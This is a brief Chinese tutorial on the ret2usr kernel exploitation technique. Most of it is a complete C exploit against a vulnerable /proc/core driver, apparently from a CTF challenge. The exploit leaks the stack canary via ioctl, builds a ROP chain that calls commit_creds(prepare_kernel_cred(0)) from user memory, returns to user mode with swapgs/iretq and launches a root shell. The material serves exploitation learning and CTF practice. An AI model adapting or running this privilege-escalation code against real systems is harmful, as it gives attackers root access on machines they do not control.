ret2usr
ret2usr的利用方法和kernel ROP类似,也算是一种ROP,区别在于调用commit_creds(prepare_kernel_cred(NULL))
时,ROP中是通过多个gadget组合实现的。而在ret2usr中,利用了内核态可以访问用户态内存的特性,我们可以在用户态中写好commit_creds(prepare_kernel_cred(NULL))
,然后在构造ROP时转跳到用户内存空间执行提权函数,进而简化构造ROP链的难度。
EXP
// gcc exp.c -static -masm=intel -g -o exp
#include <fcntl.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#define RAW_VMLINUX_BASE 0xffffffff81000000
#define COMMIT_CREDS 0xffffffff8109c8e0
#define PREPARE_KERNEL_CRED 0xffffffff8109cce0
#define POP_RDI 0xffffffff81000b2f
#define POP_RDX 0xffffffff810a0f49
#define POP_RCX 0xffffffff81021e53
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ_RET 0xffffffff81050ac2
size_t vmlinux_offset = 0;
size_t commit_creds = 0;
size_t prepare_kernel_cred = 0;
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
void getVmlinuxBase() {
FILE *f = fopen("/tmp/kallsyms", "r");
if (f < 0) {
puts("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
size_t addr;
char buf[0x50], type[0x50];
while (fscanf(f, "%llx%s%s", &addr, type, buf)) {
if (prepare_kernel_cred && commit_creds)
break;
if (!commit_creds && !strcmp(buf, "commit_creds")) {
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of "
"commit_cread:\033[0m%llx\n",
commit_creds);
continue;
}
if (!strcmp(buf, "prepare_kernel_cred")) {
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of "
"prepare_kernel_cred:\033[0m%llx\n",
prepare_kernel_cred);
continue;
}
}
if (prepare_kernel_cred - (PREPARE_KERNEL_CRED - RAW_VMLINUX_BASE) !=
commit_creds - (COMMIT_CREDS - RAW_VMLINUX_BASE)) {
puts("\033[31m\033[1m[x] Base address error!\033[0m\n");
exit(-1);
}
vmlinux_offset = prepare_kernel_cred - PREPARE_KERNEL_CRED;
}
void getRootShell(void) {
if (getuid()) {
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell "
"now...\033[0m\n");
system("/bin/sh");
}
void getRoot() {
char *(*pkc)(int) = (char *(*)(int))prepare_kernel_cred;
void (*cc)(char *) = (void (*)(char *))commit_creds;
(*cc)((*pkc)(0));
}
void coreRead(int fd, char *buf) { ioctl(fd, 0x6677889B, buf); }
void setOffValue(int fd, size_t off) { ioctl(fd, 0x6677889C, off); }
void coreCopyFunc(int fd, size_t nbytes) { ioctl(fd, 0x6677889A, nbytes); }
int main() {
saveStatus();
getVmlinuxBase();
int fd = open("/proc/core", 2);
size_t canary;
char buf[0x50];
setOffValue(fd, 64);
coreRead(fd, buf);
canary = ((size_t *)buf)[0];
// construct the ropchain
size_t rop_chain[0x100], i = 0;
for (; i < 10; i++)
rop_chain[i] = canary;
rop_chain[i++] = (size_t)getRoot;
rop_chain[i++] = SWAPGS_POPFQ_RET + vmlinux_offset;
rop_chain[i++] = 0;
rop_chain[i++] = IRETQ_RET + vmlinux_offset;
rop_chain[i++] = (size_t)getRootShell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;
write(fd, rop_chain, 0x800);
coreCopyFunc(fd, 0xffffffffffff0000 | (0x100));
}